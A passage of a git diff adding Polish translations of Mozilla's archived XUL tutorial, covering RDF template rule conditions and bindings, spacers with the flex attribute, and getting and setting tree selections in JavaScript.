+&lt;/conditions&gt;
+</pre>
+
+<p>Ten przykład jest podobny, ale wyszczególniliśmy fakt, że chcemy znaleźć dopasowanie do 'Cloudy'. Rezultat jest taki, że warunki będą pasować tylko dla miast, dla których prognoza zawiera 'Cloudy'.</p>
+
+<p>Możemy dodać więcej powiązań, gdybyśmy wymagali więcej dopasowań. Na przykład we fragmencie powyżej, moglibyśmy chcieć sprawdzić temperaturę i prędkość wiatru. Aby to zrobić należy po prostu dodać następne powiązanie, które sprawdza dodatkowe zasoby. Warunek będzie spełniony, jeśli wszystkie powiązania dostarczą odpowiednich wartości.</p>
+
+<p>Poniższy przykład sprawdzi dodatkowe powiązanie, warunek na nazwę miasta. Będzie to przypisane do zmiennej 'name'. Warunek będzie spełniony, wtedy i tylko wtedy gdy miasto ma zarówno nazwę jak i prognozę.</p>
+
+<pre>&lt;conditions&gt;
+ &lt;content uri="?list"/&gt;
+ &lt;member container="?list" child="?city"/&gt;
+ &lt;triple subject="?city"
+ predicate="http://www.xulplanet.com/rdf/weather#name"
+ object="?name"/&gt;
+ &lt;triple subject="?city"
+ predicate="http://www.xulplanet.com/rdf/weather#prediction"
+ object="?pred"/&gt;
+&lt;/conditions&gt;
+</pre>
+
+<h2 id="Generowanie_zawarto.C5.9Bci" name="Generowanie_zawarto.C5.9Bci">Generowanie zawartości</h2>
+
+<p>Zawartość, którą generuje reguła, jest wyszczególniona wewnątrz elementu <code><code><a href="/pl/docs/Mozilla/Tech/XUL/action" title="action">action</a></code></code>. Powinna to być zawartość pod poziomów drzewa, elementów menu albo jakakolwiek, jaką chcesz wygenerować. Z tego wynika, że dla przykładu z pogodą powyżej, możesz użyć zmiennych 'name' albo 'pred' do wyświetlania miasta albo prognozy. Możesz użyć także zmiennych 'list' albo 'city', ale one przechowują zasoby, a nie tekst, więc nie będą mieć raczej znaczącej wartości dla użytkowników.</p>
+
+<p>W prostej składni reguły używamy składni <code>uri='rdf:*'</code>, aby zaznaczyć, gdzie powinna być wygenerowana zawartość. W pełnej składni ustawia się wartość atrybutu <code><code id="a-uri"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/uri">uri</a></code></code> na zmienną, którą używasz w warunkach. Zwyczajowo będzie to zmienna przypisana do atrybutu <code>child</code> elementu <code><code><a href="/pl/docs/Mozilla/Tech/XUL/member" title="member">member</a></code></code>.</p>
+
+<h3 id="Complete_Tree_Example" name="Complete_Tree_Example">Complete Tree Example</h3>
+
+<p>Następny przykład pokazuje kompletne drzewo w czasie działania. Możesz zobaczyć plik RDF osobno <a href="https://developer.mozilla.org/samples/xultu/examples/weather.txt">Źródła</a> <a href="https://developer.mozilla.org/samples/xultu/examples/weather.rdf">RDF</a></p>
+
+<p><span id="Przyk%C5%82ad_1"><a id="Przyk%C5%82ad_1"></a><strong>Przykład 1</strong></span> : <a href="https://developer.mozilla.org/samples/xultu/examples/ex_advrules_1.xul.txt">Źródła</a></p>
+
+<pre>&lt;tree id="weatherTree" flex="1" datasources="weather.rdf"
+ ref="http://www.xulplanet.com/rdf/weather/cities"&gt;
+ &lt;treecols&gt;
+ &lt;treecol id="city" label="City" primary="true" flex="1"/&gt;
+ &lt;treecol id="pred" label="Prediction" flex="1"/&gt;
+ &lt;/treecols&gt;
+
+ &lt;template&gt;
+ &lt;rule&gt;
+ &lt;conditions&gt;
+ &lt;content uri="?list"/&gt;
+ &lt;member container="?list" child="?city"/&gt;
+ &lt;triple subject="?city"
+ predicate="http://www.xulplanet.com/rdf/weather#name"
+ object="?name"/&gt;
+ &lt;triple subject="?city"
+ predicate="http://www.xulplanet.com/rdf/weather#prediction"
+ object="?pred"/&gt;
+ &lt;/conditions&gt;
+ &lt;action&gt;
+ &lt;treechildren&gt;
+ &lt;treeitem uri="?city"&gt;
+ &lt;treerow&gt;
+ &lt;treecell label="?name"/&gt;
+ &lt;treecell label="?pred"/&gt;
+ &lt;/treerow&gt;
+ &lt;/treeitem&gt;
+ &lt;/treechildren&gt;
+ &lt;/action&gt;
+ &lt;/rule&gt;
+ &lt;/template&gt;
+&lt;/tree&gt;
+</pre>
+
+<p>Dwie kolumny pokazują nam się w tym drzewie, jedna wyświetla cechy nazwy każdego pod poziomów, a reszta wyświetla przewidywane cechy.</p>
+
+<div class="note">Jeśli użyjemy flagi <code>dont-build-content</code> zmniejszymy drzewo, zamieniając element <code><code><a href="/pl/docs/Mozilla/Tech/XUL/content" title="content">content</a></code></code> z elementem <code><code><a href="/pl/docs/Mozilla/Tech/XUL/treeitem" title="treeitem">treeitem</a></code></code>.</div>
+
+<h2 id="Dodawanie_dodatkowych_wi.C4.85za.C5.84" name="Dodawanie_dodatkowych_wi.C4.85za.C5.84">Dodawanie dodatkowych wiązań</h2>
+
+<p>Końcowy element możesz dodać wewnątrz reguły elementu <code><code><a href="/pl/docs/Mozilla/Tech/XUL/bindings" title="bindings">bindings</a></code></code>. Wewnątrz jego, możesz położyć jeden lub więcej elementów <code><code><a href="/pl/docs/Mozilla/Tech/XUL/binding" title="binding">binding</a></code></code>. Oprawiając w zasady mamy taką samą składnię jako potrójny i spełnia prawie tą samą funkcję. Na przykład w przykładzie poniżej możemy dodać następujące oprawy:</p>
+
+<pre>&lt;bindings&gt;
+ &lt;binding subject="?city"
+ predicate="http://www.xulplanet.com/rdf/weather#temperature"
+ object="?temp"/&gt;
+&lt;/bindings&gt;
+</pre>
+
+<p>Taka oprawa przechwyci zasoby temperaturowe każdego drzewa i przypisze je do zmiennej 'temp'. Jest to bardzo podobne do tego, co robi powiązanie. Różnica jest taka, że oprawa nie jest sprawdzana, gdy próbuje sprawdzić warunki. Oznacza to, że miasto musi mieć nazwę i prognozę do wyświetlenia, chociaż nie ma znaczenia czy ma temperaturę. Jednak, jeśli ma, będzie ona umieszczona w zmiennej 'temp', żeby mogła być użyta w akcji. Jeśli miasto nie ma temperatury, zmienna "temp" będzie miała pusty string.</p>
+
+<p>Następnie, poszukamy jak zapisać stanowisko elementów XUL.</p>
+
+<p></p><div class="prevnext" style="text-align: right;">
+ <p><a href="/pl/docs/Kurs_XUL:Źródła_danych_RDF" style="float: left;">« Poprzedni</a><a href="/pl/docs/Kurs_XUL:Trwałe_dane">Następny »</a></p>
+</div><p></p>
diff --git a/files/pl/mozilla/tech/xul/kurs_xul/zastosowanie_odstępów/index.html b/files/pl/mozilla/tech/xul/kurs_xul/zastosowanie_odstępów/index.html
new file mode 100644
index 0000000000..8883f13c69
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/kurs_xul/zastosowanie_odstępów/index.html
@@ -0,0 +1,141 @@
+---
+title: Zastosowanie odstępów
+slug: Mozilla/Tech/XUL/Kurs_XUL/Zastosowanie_odstępów
+tags:
+ - Kurs_XUL
+ - Przewodniki
+ - XUL
+translation_of: Archive/Mozilla/XUL/Tutorial/Using_Spacers
+---
+<p></p><div class="prevnext" style="text-align: right;">
+ <p><a href="/pl/docs/Kurs_XUL:Dodawanie_elementów_HTML" style="float: left;">« Poprzedni</a><a href="/pl/docs/Kurs_XUL:Dodatkowe_możliwości_przycisku">Następny »</a></p>
+</div><p></p>
+
+<p>Artykuł pokazuje jak dodać odstępy pomiędzy elementami jakie stworzyliśmy.</p>
+
+<h2 id="Dodawanie_odst.C4.99p.C3.B3w" name="Dodawanie_odst.C4.99p.C3.B3w">Dodawanie odstępów</h2>
+
+<p>Jednym z problemów przy programowaniu interfejsów użytkownika jest to, że każdy użytkownik posiada inny monitor. Niektórzy użytkownicy posiadają monitory o dużej rozdzielczości, natomiast inni mają monitory o małej rozdzielczości. W dodatku, różne platformy mają określone wymagania, jeśli dodamy obsługę wielu języków, tekst w jednym języku może wymagać więcej miejsca, niż inny język.</p>
+
+<p><br>
+ Aplikacje, które potrzebują obsługę wielu platform i języków zazwyczaj posiadają własne okna z dużą przestrzenią pozwalającą na to. Niektóre platformy i zestawy narzędziowe interfejsu użytkownika dostarczają komponentów, które są wystarczająco eleganckie na zmianę rozmiaru i możliwość zmiany swojej pozycji, tak, aby dopasować się do potrzeb użytkownika (dla przykładu Java używa menedżera układu rozmieszczenia).</p>
+
+<p>XUL dostarcza możliwości do automatycznego pozycjonowania i zmiany rozmiaru elementów. Jak widzieliśmy, okno znajdowania plików pojawia się w takim rozmiarze, że dopasowuje elementy w swoim wnętrzu. Za każdym razem, gdy dodajemy kolejny element, okno staje się większe.</p>
+
+<p>XUL używa systemu rozkładu elementów nazwanego 'Model pudełkowy'. Pomówimy o tym w <a href="pl/Kurs_XUL/Model_pude%c5%82kowy">kolejnym rozdziale</a>, ale zasadniczo pozwala podzielić okno na szereg pól przechowujących elementy. Pola będą pozycjonowane, a ich rozmiar zmieniany w oparciu o specyfikację jaką możesz zdefiniować. Teraz wiesz, że element <code><code><a href="/pl/docs/Mozilla/Tech/XUL/window" title="window">window</a></code></code> jest typem pola.</p>
+
+<p>Zanim przejdziemy do szczegółów pól, wprowadzimy inny element XUL użyteczny dla rozkładu, <code><code><a href="/pl/docs/Mozilla/Tech/XUL/spacer" title="spacer">spacer</a></code></code>. Odstęp jest bardzo prosty i wymaga tylko jednego atrybutu, jaki wyjaśnimy za chwilę. Najprostszy odstęp wygląda następująco:</p>
+
+<pre class="eval">&lt;spacer flex="1"/&gt;
+</pre>
+
+<p><code><code><a href="/pl/docs/Mozilla/Tech/XUL/spacer" title="spacer">spacer</a></code></code> jest stosowany do umieszczenia pustej przestrzeni w oknie. Najbardziej użyteczną możliwością jest to, że może rosnąć lub się kurczyć, jeśli użytkownik zmienia rozmiar okna. Byłoby to jak gdyby umieszczenie przycisków z prawej strony lub u dołu okna i przymocowanie ich do prawego lub dolnego brzegu bez względu na to, jaki jest rozmiar okna. Jak zobaczymy, można użyć szeregu odstępów do stworzenia kliku efektów rozkładu elementów.</p>
+
+<p>W powyższej składni odstęp ma jeden atrybut nazwany <code><code id="a-flex"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/flex">flex</a></code></code>. Jest on używany do definiowania elastyczności odstępu. W powyższym przypadku odstęp ma flex równy 1, czyni to element odstępu rozciągniętym. Jeśli umieścisz odstęp bezpośrednio wewnątrz okna, jego rozmiar będzie rósł, gdy będzie zmieniał się rozmiar okna.</p>
+
+<p>Wkrótce dodamy odstęp do naszego okna dialogowego <code>Znajdź pliki</code>. Najpierw, spójrzmy na to, co stanie się, kiedy bieżące okno dialogowe zmieni swój rozmiar.</p>
+
+<p><img alt="Grafika:springs1.png"></p>
+
+<p>Jeśli zmienisz rozmiar okna znajdowania plików, zobaczysz, że elementy pozostały tam, gdzie były na początku. Żaden z nich nie został przesunięty lub nie zmienił się jego rozmiar, mimo że okno ma więcej miejsca. Zobaczmy, co się zdarzy, kiedy dodamy odstęp pomiędzy polem tekstowym a przyciskiem <code>Znajdź</code>.</p>
+
+<p><img alt="Grafika:springs2.png"></p>
+
+<p>Po dodaniu odstępu i zmianie rozmiaru okna widać, że odstęp wypełnił przestrzeń. Przyciski zostały przesunięte.</p>
+
+<div class="highlight">
+<h5 id="Przyk.C5.82ad_okna:_Znajd.C5.BA_pliki" name="Przyk.C5.82ad_okna:_Znajd.C5.BA_pliki">Przykład okna: <code>Znajdź pliki</code></h5>
+
+<p>Kod dodający odstęp został podany poniżej. Wstaw go przed przyciskiem <code>Znajdź</code>.</p>
+
+<pre class="eval"><span class="highlightred">&lt;spacer flex="1"/&gt;</span>
+
+&lt;button id="find-button" label="Znajdź"/&gt;
+</pre>
+</div>
+
+<h2 id="Wi.C4.99cej_o_elastyczno.C5.9Bci" name="Wi.C4.99cej_o_elastyczno.C5.9Bci">Więcej o elastyczności</h2>
+
+<p>XUL rozkłada elementy w oknie poprzez obliczenie odpowiedniej szerokości i wysokości dla elementów, a potem dodaje przestrzeń, gdzie są elastyczne. O ile nie określisz informacji o szerokości i wysokości elementu, domyślny rozmiar elementu jest określony przez jego zawartość. Zauważ, że przycisk <code>Anuluj</code> w okienkach dialogowych jest zawsze ustawiony na taką szerokość aby zmieścił się wewnątrz niego cały tekst. Jeśli tworzysz przycisk z bardzo długą etykietą, domyślny rozmiar przycisku będzie dosyć duży aby przechować całą etykietę. Pozostałe elementy takie jak pole tekstowe mają wybrany odpowiedni domyślny rozmiar.</p>
+
+<p>Atrybut <code>flex</code> jest używany do określenia, czy element może zmienić rozmiar odpowiedniego pola (w tym przypadku, okna). Już widzieliśmy, że atrybut flex stosuje się do odstępów, ale może być zastosowany do dowolnego elementu. Na przykład możesz chcieć zmienić rozmiar przycisku <code>Znajdź</code>.</p>
+
+<p><img alt="Grafika:springs3.png"></p>
+
+<p>Jak widzisz na obrazku, przez umieszczenie atrybutu <code>flex</code> w przycisku <code>Znajdź</code>, zmienia on rozmiar, kiedy zmieniany jest rozmiar okna. Odstęp nie jest w rzeczywistości niczym specjalnym. Właściwie może być rozpatrywany jako ukryte okno. Działa w ten sam sposób, co przycisk z wyjątkiem tego, że nie jest odrysowywany na ekranie.</p>
+
+<p>Na powyższym rysunku można zauważyć jeszcze jedną rzecz. Nie tylko przycisk <code>Znajdź</code> zmienia rozmiar, ale także przestrzeń pojawiająca się pomiędzy etykietą główną a przyciskiem. Oczywiście jest to odstęp, jaki wstawiliśmy wcześniej. Również on zmienia rozmiar sam. Jeśli spojrzysz dokładnie, powinieneś zauważyć, że zmiana w rozmiarze dokonała się równo pomiędzy odstępem a przyciskiem. Odstęp odebrał połowę wolnej przestrzeni a przycisk druga połowę.</p>
+
+<p>Przyczyna takiego efektu jest to, że zarówno odstęp jak i przycisk <code>Znajdź</code> mają atrybut <code>flex</code>. Ponieważ oba są elastyczne. Zarówno przycisk jak i odstęp równo zmieniają rozmiar.</p>
+
+<p>A co jeśli chcesz ustawić jeden element rosnący dwukrotnie w stosunku do innego? Możesz zastosować większą liczbę jako wartość atrybutu <code>flex</code>. Wartości elementu flex są współczynnikami. jeśli jeden element ma flex równy 1 a kolejny ma flex równy 2 drugi element wzrasta dwukrotnie w stosunku do pierwszego. W efekcie, flex równy 2 mówi, że ten element ma flex który jest dwa razy większy niż elementy mające flex równy 1.</p>
+
+<p>Atrybut <code>flex</code> jest używany do określenia aktualnego rozmiaru. Zamiast tego określa, jak pusta przestrzeń dzieli się miedzy potomkami pola kontenera. Przyjrzymy się polom w kolejnym rozdziale. Jeśli domyślny rozmiar potomków został określony, wartości elastyczności są używane do dzielenia pozostałej pustej przestrzeni pola. Na przykład jeśli pole ma 200 pikseli szerokości i zawiera dwa elastyczne przyciski, pierwszy na 50 pikseli a drugi na 90 pikseli będzie 60 pikseli przestrzeni między nimi, jeśli oba przyciski mają wartość flex równą 1, przestrzeń będzie dzielona równo z 30 dodatkowymi pikselami szerokości dla każdego przycisku. Jeśli elastyczność drugiego przycisku wzrosła do 2, pierwszy przycisk odbierze 20 pikseli dodatkowej przestrzeni a drugi przycisk odbierze 40 pikseli dodatkowej przestrzeni.</p>
+
+<p>Atrybuty <code>flex</code> może być umieszczony w dowolnym elemencie, jednak ma znaczenie tylko wtedy, gdy umieścimy go w elemencie bezpośrednio wewnątrz pola XUL. Oznacza to, że chociaż możesz umieścić flex w elemencie HTML-a, nie uzyskasz takiego efektu, jeśli ten element jest wewnątrz elementu, nie - pola.</p>
+
+<p>Spójrz na te przykłady:</p>
+
+<h5 id="Przyk.C5.82ady_flex" name="Przyk.C5.82ady_flex">Przykłady <code>flex</code></h5>
+
+<pre class="eval">Przykład 1:
+ &lt;button label="Znajdź" flex="1"/&gt;
+ &lt;button label="Anuluj" flex="1"/&gt;
+
+Przykład 2:
+ &lt;button label="Znajdź" flex="1"/&gt;
+ &lt;button label="Anuluj" flex="10"/&gt;
+
+Przykład 3:
+ &lt;button label="Znajdź" flex="2"/&gt;
+ &lt;button label="Zastąp"/&gt;
+ &lt;button label="Anuluj" flex="4"/&gt;
+
+Przykład 4:
+ &lt;button label="Znajdź" flex="2"/&gt;
+ &lt;button label="Zastąp" flex="2"/&gt;
+ &lt;button label="Anuluj" flex="3"/&gt;
+
+Przykład 5:
+ &lt;html:div&gt;
+ &lt;button label="Znajdź" flex="2"/&gt;
+ &lt;button label="Zastąp" flex="2"/&gt;
+ &lt;/html:div&gt;
+
+Przykład 6:
+ &lt;button label="Znajdź" flex="145"/&gt;
+ &lt;button label="Zastąp" flex="145"/&gt;
+</pre>
+
+<dl>
+ <dt>Przykład 1 </dt>
+ <dd>W tym przypadku elastyczność jest dzielona równo pomiędzy oba przyciski. Oba przyciski zmienią rozmiar równo</dd>
+ <dt>Przykład 2 </dt>
+ <dd>Tu oba przyciski będą rosły, ale przycisk <code>Anuluj</code> będzie rósł 10 razy bardziej, niż przycisk <code>Znajdź</code> ponieważ ma wartość flex, która jest 10 razy większa od wartości flex przycisku <code>Znajdź</code>. Dostępna przestrzeń będzie dzielona na jedną część dla przycisku <code>Znajdź</code> i 10 części dla przycisku <code>Anuluj</code>.</dd>
+ <dt>Przykład 3 </dt>
+ <dd>Tylko dwa z tych przycisków są tu oznaczone jako elastyczne. Przycisk replace nigdy nie zmieni rozmiaru ale pozostałe dwa tak. Przycisk <code>Anuluj</code> zawsze będzie zmieniał rozmiar dwukrotnie w stosunku do przycisku <code>Znajdź</code> ponieważ jego wartość flex jest dwukrotnie większa.</dd>
+ <dt>Przykład 4 </dt>
+ <dd>W tym przypadku, wszystkie trzy przyciski są elastyczne. Przyciski Find i Replace będą tego samego rozmiaru ale przycisk <code>Anuluj</code> będzie nieco większy (dokładnie 50% większy)</dd>
+ <dt>Przykład 5 </dt>
+ <dd>Tu, dwa przyciski, są umieszczone wewnątrz elementu <code>div</code>. Elastyczność jest tu bez znaczenia ponieważ przyciski nie są bezpośrednio w polu. Efekt będzie taki sam, jeśli zostanie pominięty atrybut <code>flex</code>.</dd>
+ <dt>Przykład 6 </dt>
+ <dd>Ponieważ wartości flex są takie same w obu przyciskach, będą równo rozwijane. Działałoby to również z wartościami flex równymi jeden zamiast 145. Nie ma różnic w tym przypadku. Zalecane jest używanie mniejszych liczb dla zwiększenia czytelności.</dd>
+</dl>
+
+<p>Zauważ, że pozostałe czynniki, takie jak etykiety przycisków i minimalne rozmiary przycisków będą wpływały na aktualny rozmiar przycisków. Na przykład przycisk nie zostanie zmniejszony mniej niż do przestrzeni potrzebnej do przechowania jego etykiety.</p>
+
+<p>Określenie wartości flex na 0 ma taki sam efekt, jak całkowite pominięcie atrybutu flex. Oznacza to, że elementy nie są wcale elastyczne. Czasami możesz zobaczyć wartość flex określoną w procentach. Nie ma to specjalnego znaczenia i jest traktowane tak, jak gdyby nie było tam znaku procenta.</p>
+
+<p>Możesz zauważyć, że kiedy zmieniasz rozmiar okna dialogowego pionowo, przyciski zmieniają rozmiar same dopasowując się do wysokości okna. Jest tak ponieważ wszystkie przyciski mają wbudowany pionowy flex dodany im przez okno. W kolejnym rozdziale nauczymy się jak to zmienić.</p>
+
+<div class="highlight">
+<h5 id="Przyk.C5.82ad:_Znajd.C5.BA_pliki" name="Przyk.C5.82ad:_Znajd.C5.BA_pliki">Przykład: <code>Znajdź pliki</code></h5>
+
+<p><a href="https://developer.mozilla.org/samples/xultu/examples/findfile/findfile-springs.xul.txt">Źródła</a> <a href="https://developer.mozilla.org/samples/xultu/examples/findfile/findfile-springs.xul">Podgląd</a></p>
+</div>
+
+<p>W następnym artykule dowiemy się kilku <a href="pl/Kurs_XUL/Dodatkowe_mo%c5%bcliwo%c5%9bci_przycisku">dodatkowych możliwościach przycisku</a>.</p>
+
+<p></p><div class="prevnext" style="text-align: right;">
+ <p><a href="/pl/docs/Kurs_XUL:Dodawanie_elementów_HTML" style="float: left;">« Poprzedni</a><a href="/pl/docs/Kurs_XUL:Dodatkowe_możliwości_przycisku">Następny »</a></p>
+</div><p></p>
diff --git a/files/pl/mozilla/tech/xul/kurs_xul/zaznaczenie_drzewa/index.html b/files/pl/mozilla/tech/xul/kurs_xul/zaznaczenie_drzewa/index.html
new file mode 100644
index 0000000000..4bd2e007b6
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/kurs_xul/zaznaczenie_drzewa/index.html
@@ -0,0 +1,73 @@
+---
+title: Zaznaczenie drzewa
+slug: Mozilla/Tech/XUL/Kurs_XUL/Zaznaczenie_drzewa
+tags:
+ - Kurs_XUL
+ - Przewodniki
+ - XUL
+translation_of: Archive/Mozilla/XUL/Tutorial/Tree_Selection
+---
+<p>
+</p><p></p><div class="prevnext" style="text-align: right;">
+ <p><a href="/pl/docs/Kurs_XUL:Dodatkowe_możliwości_drzewa" style="float: left;">« Poprzedni</a><a href="/pl/docs/Kurs_XUL:Własne_widoki_drzewa">Następny »</a></p>
+</div>
+<p></p><p>Artykuł opisuje, jak pobrać i ustawić zaznaczone pozycje w drzewie.
+</p>
+<h3 id="Pobieranie_zaznaczonych_element.C3.B3w_drzewa" name="Pobieranie_zaznaczonych_element.C3.B3w_drzewa"> Pobieranie zaznaczonych elementów drzewa </h3>
+<p>Każdy element <code><code><a href="/pl/docs/Mozilla/Tech/XUL/treeitem" title="treeitem">treeitem</a></code></code> w drzewie może być zaznaczony indywidualnie. Dodając atrybut <code><code id="a-seltype"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/seltype">seltype</a></code></code> do drzewa, ustawiamy wartość <code>single</code>, to zezwoli na zaznaczenia tylko jednego wiersza na raz. W przeciwnym wypadku użytkownik mógłby zaznaczać wiele wierszy na raz i to niekoniecznie sąsiednich. Drzewo zawiera kilka funkcji służących do określania, czy pozycja została zaznaczona.
+</p>
+<h4 id="Podtrzymanie_zdarzenia_zaznaczenia" name="Podtrzymanie_zdarzenia_zaznaczenia"> Podtrzymanie zdarzenia zaznaczenia </h4>
+<p>Najpierw zobaczmy, jak możemy decydować o tym, czy element jest zaznaczony. Uchwyt zdarzenia <code><a href="pl/XUL/Atrybut/tree.onselect">onselect()</a></code> może być dodany do drzewa. Kiedy użytkownik zaznaczy jakiś element drzewa (<code><code><a href="/pl/docs/Mozilla/Tech/XUL/tree" title="tree">tree</a></code></code>), uchwyt ten jest wywoływany. Użytkownik ma także możliwość zmiany zaznaczenia poprzez używanie klawiszy strzałek na klawiaturze. Jeśli użytkownik przytrzyma naciśnięty klawisz kursora do szybkiego przewinięcia pozycji, to uchwyt zdarzenia nie zostanie wywołany do momentu, aż użytkownik się zatrzyma. Wynikiem będzie wykonanie postępu. Znaczy to także, że podświetlenie będzie się pojawiać na kilku pozycjach nawet przez zaznaczone zdarzenia nie będące nigdy aktywne dla tych pozycji. </p><p>Składnia uchwytu zdarzenia <code>onselect()</code> przedstawiona jest poniżej:
+</p>
+<pre>&lt;tree id="treeset" onselect="alert('Zaznaczyłeś cokolwiek!');"&gt;
+</pre>
+<h4 id="Zaznaczenie_drzewa" name="Zaznaczenie_drzewa"> Zaznaczenie drzewa </h4>
+<p>Drzewo ma własność <code><code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/currentIndex">currentIndex</a></span></code></code>, która może być użyta, by uzyskać aktualnie zaznaczenie pozycji, gdzie pierwszym wierszem jest 0.
+</p><p>Pozycje pochodnych wiersza są zawarte w sumie zaraz po głównych. To znaczy, że jeżeli są tam 3 pozycje najwyższego poziomu i każda ma po dwie pochodne, będzie to w sumie 9 pozycji. Pierwsza pozycja (przy indeksie 0) będzie pierwszą pozycją najwyższego poziomu. Następna pozycja przy indeksie 0 będzie od niego pierwszą pochodną. Druga pochodna pozycja będzie się znajdowała pod indeksem 2, a druga główna pozycja będzie miała indeks 3 itd.
+</p>
+<div class="float-right"><img alt="grafika:seltree1.png"></div>
+<p>Na obrazku z prawej strony pokazanych jest osiem wierszy, z których to dwa są zaznaczone. Pierwszy zaznaczony wiersz jest o indeksie 4, a drugi ma indeks 7. Rzędy, które są ukryte, nie zaliczają się do sumy indeksu.
+</p>
+<h4 id="Wielokrotne_zaznaczenie" name="Wielokrotne_zaznaczenie"> Wielokrotne zaznaczenie </h4>
+<p>Dla drzew umożliwiających wielokrotne zaznaczenie, otrzymanie listy zaznaczonych wierszy jest bardziej skomplikowane. Widok drzewa ma własność zaznaczenia, która przetrzymuje informacje o zaznaczonych wierszach. Bieżące zaznaczenie będzie obiektem <a class="external" href="http://xulplanet.com/references/objref/TreeSelection.html">TreeSelection</a>. Widok nie musi wdrażać tego obiektu samodzielnie, drzewo określi obiekt zaznaczenia dla własności widoku zaznaczenia, kiedy widok będzie dołączony do drzewa. Informacje o zaznaczeniu możemy uzyskać od drzewa, używając własności widoku drzewa (<code>view</code>). Możemy użyć metod obiektu zaznaczenia (<code>selection</code>) w celu uzyskania informacji o zaznaczonych pozycjach lub w celu modyfikacji zaznaczenia.
+</p><p>Ponieważ zaznaczone pozycje w drzewie wielokrotnego zaznaczenia niekoniecznie mogą być kolejnymi, możemy uzyskać każdy blok przylegający używając funkcji <code>getRangeCount()</code> i <code>getRangeAt()</code>. Pierwsza funkcja zwraca liczbę znajdujących się tam obszarów. W przypadku, gdy zaznaczona jest tylko jedna, wartość będzie wynosiła 1. Wtedy możesz napisać pętlę dla obszarów, wywołując <code>getRangeAt()</code>, żeby pobrać aktualne indeksy początku i końca obszaru.
+</p><p>Funkcja <code>getRangeAt()</code> pobiera trzy argumenty: </p>
+<ul><li> Pierwszym jest indeks obszaru. </li><li> Drugim będzie obiekt wypełniony przez funkcję z indeksem pierwszego zaznaczonego elementu. </li><li> Trzecim argumentem jest obiektem wypełnionym indeksem ostatnio zaznaczonej pozycji.
+</li></ul>
+<h5 id="Przyk.C5.82ad_getRangeAt" name="Przyk.C5.82ad_getRangeAt"> Przykład <code>getRangeAt</code> </h5>
+<pre>var start = new Object();
+var end = new Object();
+var numRanges = tree.view.selection.getRangeCount();
+
+for (var t = 0; t &lt; numRanges; t++){
+ tree.view.selection.getRangeAt(t,start,end);
+ for (var v = start.value; v &lt;= end.value; v++){
+ alert("Pozycja " + v + " jest zaznaczona.");
+ }
+}
+</pre>
+<p>Tworzymy dwa obiekty, nazwane 'start' i 'end'. Następnie powtarzamy w obszarach liczbę, która jest zwrócona przez funkcję <code>getRangeCount()</code>. Funkcja <code>getRangeAt()</code> jest wywołana przyjmując obszar indeksu obiektu na początku i na końcu. Funkcja przyporządkuje 'start' i 'end' dodając do własności 'value'. Jeżeli więc pierwszy obszar jest od trzeciej do siódmej pozycji, 'start.value' będzie 2 (pamiętaj, że indeksy zaczynają się od 0, więc odejmujemy jeden), a 'end.value' będzie równe 6. Ostrzeżenie jest pokazywane dla każdego indeksu.
+</p><p>Jeżeli chcesz wiedzieć, który wiersz jest zaznaczony, możesz użyć funkcji <code>isSelected()</code>. Pobiera indeks wiersza jako argument i zwraca <code>true</code>, jeżeli wiersz jest zaznaczony.
+</p>
+<pre>alert(tree.view.selection.isSelected(3));
+</pre>
+<h3 id="Modyfikowanie_zaznaczenia_drzewa" name="Modyfikowanie_zaznaczenia_drzewa"> Modyfikowanie zaznaczenia drzewa </h3>
+<p>Przedmiot zaznaczenia ma pewną liczbę funkcji, które mogą zostać użyte w celu zmiany zaznaczenia. Najprostszą funkcją jest funkcja <code><a href="pl/XUL/Metoda/select">select()</a></code>, która znosi zaznaczenie dowolnego, aktualnie zaznaczonego wiersza i zaznacza dowolny inny. Na przykład następujący kod zaznaczy wiersz o indeksie 5:
+</p>
+<pre>tree.view.selection.select(5);
+</pre>
+<p>Zauważ, że nie powinniśmy zmienić tylko wartości <code><code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/currentIndex">currentIndex</a></span></code></code> w celu zmiany zaznaczenia. Zamiast tego powinniśmy użyć funkcji zaznaczenia jak w powyższym przykładzie. Możliwe jest zaznaczenie wszystkich wierszy za pomocą funkcji <code><a href="pl/XUL/Metoda/selectAll">selectAll()</a></code>. Zauważ, że wiersze zagnieżdżały się wewnątrz kontenerów, te które nie są otwarte, nie zostaną zaznaczone. Oczywiście to będzie miało efekt tylko w przypadku drzew z wielokrotnym zaznaczeniem. Jest też funkcja <code><a href="pl/XUL/Metoda/clearSelection">clearSelection()</a></code> do wyczyszczenia zaznaczenia oraz funkcja <code><a href="pl/XUL/Metoda/invertSelection">invertSelection</a></code> do odwracania zaznaczenia, która odznacza zaznaczenie, a zaznacza te, które nie były zaznaczone.
+</p><p>W celu zaznaczenia określonych wierszy zastosuj funkcję <code>rangedSelect()</code>, która zaznaczy wiersze z obszaru pomiędzy dwoma indeksami. Jak w przykładzie pomiędzy indeksem 2 a 7. Zwróć uwagę na to, że indeksy 2 i 7 też zostaną zaznaczone:
+</p>
+<pre>tree.view.selection.rangedSelect(2,7,true);
+</pre>
+<p>Ostatni argument określa to, czy dodać te indeksy, czy nie. Jeżeli ma wartość <code>true</code>, indeksy te zostaną zaliczone do zaznaczonego obszaru. Jeżeli <code>false</code>, zaznaczone wcześniej wiersze będą najpierw odznaczone. W końcu funkcja <code>clearRange()</code> może zostać użyta do odznaczania obszaru wierszy, pozostawiając resztę niezaznaczonego obszaru nietkniętą. </p>
+<pre>tree.view.selection.clearRange(2,7);
+</pre>
+<p>Następnie dowiemy się, jak utworzyć <a href="pl/Kurs_XUL/W%c5%82asne_widoki_drzewa">własny widok dla drzewa</a>. </p><p></p><div class="prevnext" style="text-align: right;">
+ <p><a href="/pl/docs/Kurs_XUL:Dodatkowe_możliwości_drzewa" style="float: left;">« Poprzedni</a><a href="/pl/docs/Kurs_XUL:Własne_widoki_drzewa">Następny »</a></p>
+</div>
+<p></p><p><br>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/kurs_xul/źródła_danych_rdf/index.html b/files/pl/mozilla/tech/xul/kurs_xul/źródła_danych_rdf/index.html
new file mode 100644
index 0000000000..d8db68cfe0
--- /dev/null
